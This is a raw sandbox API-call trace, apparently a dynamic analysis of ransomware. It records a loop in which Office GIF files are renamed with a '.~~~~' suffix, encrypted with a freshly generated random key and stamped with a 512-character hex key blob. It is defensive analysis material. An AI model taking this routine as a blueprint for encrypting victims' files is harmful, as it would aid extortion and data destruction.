	[0130.018] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif.~~~~")) returned 1
	[0130.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.053] GetLastError () returned 0x0
	[0130.086] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.088] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.088] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.088] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25007825645) returned 1
	[0130.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6fb4a90, dwHighDateTime=0x1d60e1e)) 
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2bc58
	[0130.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2bc58 | out: hHeap=0x300000) returned 1
	[0130.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ef10
	[0130.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2140
	[0130.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0130.089] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.089] GetLastError () returned 0x0
	[0130.090] GetLastError () returned 0x0
	[0130.090] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.090] GetLastError () returned 0x0
	[0130.090] GetLastError () returned 0x0
	[0130.093] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffd02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.093] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2fe, lpOverlapped=0x0) returned 1
	[0130.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.095] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.095] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.096] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.096] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.096] CloseHandle (hObject=0x11c) returned 1
	[0130.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ef10
	[0130.096] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif.~~~~")) returned 1
	[0130.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0130.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.099] GetLastError () returned 0x0
	[0130.099] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.101] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.101] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.101] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25009135617) returned 1
	[0130.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6fdabf0, dwHighDateTime=0x1d60e1e)) 
	[0130.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822aa8
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822aa8 | out: hHeap=0x300000) returned 1
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ef10
	[0130.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2308
	[0130.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0130.102] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.103] GetLastError () returned 0x0
	[0130.103] GetLastError () returned 0x0
	[0130.103] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.103] GetLastError () returned 0x0
	[0130.103] GetLastError () returned 0x0
	[0130.108] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff9ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.108] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x616, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x616, lpOverlapped=0x0) returned 1
	[0130.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.111] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.111] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.111] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.111] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.111] CloseHandle (hObject=0x11c) returned 1
	[0130.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0130.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif.~~~~")) returned 1
	[0130.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.114] GetLastError () returned 0x0
	[0130.114] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.116] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.116] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.116] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25010614988) returned 1
	[0130.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7000d50, dwHighDateTime=0x1d60e1e)) 
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822b18
	[0130.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358398
	[0130.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822b18 | out: hHeap=0x300000) returned 1
	[0130.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358398 | out: hHeap=0x300000) returned 1
	[0130.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c24d0
	[0130.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.117] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.117] GetLastError () returned 0x0
	[0130.117] GetLastError () returned 0x0
	[0130.118] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.118] GetLastError () returned 0x0
	[0130.118] GetLastError () returned 0x0
	[0130.120] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff2e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.120] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd1d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xd1d, lpOverlapped=0x0) returned 1
	[0130.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.123] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.123] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.123] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.123] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.124] CloseHandle (hObject=0x11c) returned 1
	[0130.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0130.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif.~~~~")) returned 1
	[0130.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.126] GetLastError () returned 0x0
	[0130.127] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.128] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.128] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.209] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25019867288) returned 1
	[0130.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb70e5590, dwHighDateTime=0x1d60e1e)) 
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822d10
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822d10 | out: hHeap=0x300000) returned 1
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2a28
	[0130.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.210] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.210] GetLastError () returned 0x0
	[0130.210] GetLastError () returned 0x0
	[0130.210] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.210] GetLastError () returned 0x0
	[0130.210] GetLastError () returned 0x0
	[0130.213] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff6ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.213] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x901, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x901, lpOverlapped=0x0) returned 1
	[0130.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.216] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.216] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.216] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.216] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.216] CloseHandle (hObject=0x11c) returned 1
	[0130.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif.~~~~")) returned 1
	[0130.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.316] GetLastError () returned 0x0
	[0130.317] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.318] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.318] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.318] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25030848613) returned 1
	[0130.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb71eff30, dwHighDateTime=0x1d60e1e)) 
	[0130.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822e60
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822e60 | out: hHeap=0x300000) returned 1
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2698
	[0130.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.319] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.320] GetLastError () returned 0x0
	[0130.320] GetLastError () returned 0x0
	[0130.320] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.320] GetLastError () returned 0x0
	[0130.320] GetLastError () returned 0x0
	[0130.323] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe06f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.323] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1f91, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1f91, lpOverlapped=0x0) returned 1
	[0130.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.326] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.326] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.326] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
